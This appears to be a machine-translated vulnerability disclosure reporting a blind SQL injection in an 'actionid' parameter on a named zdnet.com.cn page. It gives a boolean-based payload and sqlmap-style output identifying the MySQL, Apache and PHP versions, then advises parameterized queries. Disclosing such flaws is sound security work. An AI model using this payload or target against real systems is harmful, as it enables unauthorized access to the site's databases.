Top-web SQL blind Note 3 core library contains thousands of tables and Solutions

Source: Internet
Author: User

Top-web SQL blind Note 3 core library contains thousands of tables and Solutions

Blind SQL injection to the top network affects four core databases. An important database contains thousands of tables.
Cloud computing and big data are all Keywords of the top network.

The "actionid" parameter is not filtered, resulting in injection:

Http://soft.zdnet.com.cn/files/poll_show.php? Actionid = 84

Place: GETParameter: actionid    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: actionid=84 AND 4803=4803---[19:28:12] [INFO] testing MySQL[19:28:12] [INFO] confirming MySQL[19:28:16] [INFO] the back-end DBMS is MySQLweb application technology: Apache 2.2.0, PHP 5.2.14back-end DBMS: MySQL >= 5.0.0





Affected database:
 





The "zdnet" core library contains thousands of tables:
 


Data is very important, so it won't be dumped too much:
 

Solution:

When constructing an SQL query, use parameterized query and validation input to perform a comprehensive security check or filter on user input data. Pay special attention to check whether the query contains special HTML characters. These checks or filters must be completed on the server side. We recommend that you filter common dangerous characters.


This database has more than the previous one. It is best to separate database permissions.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.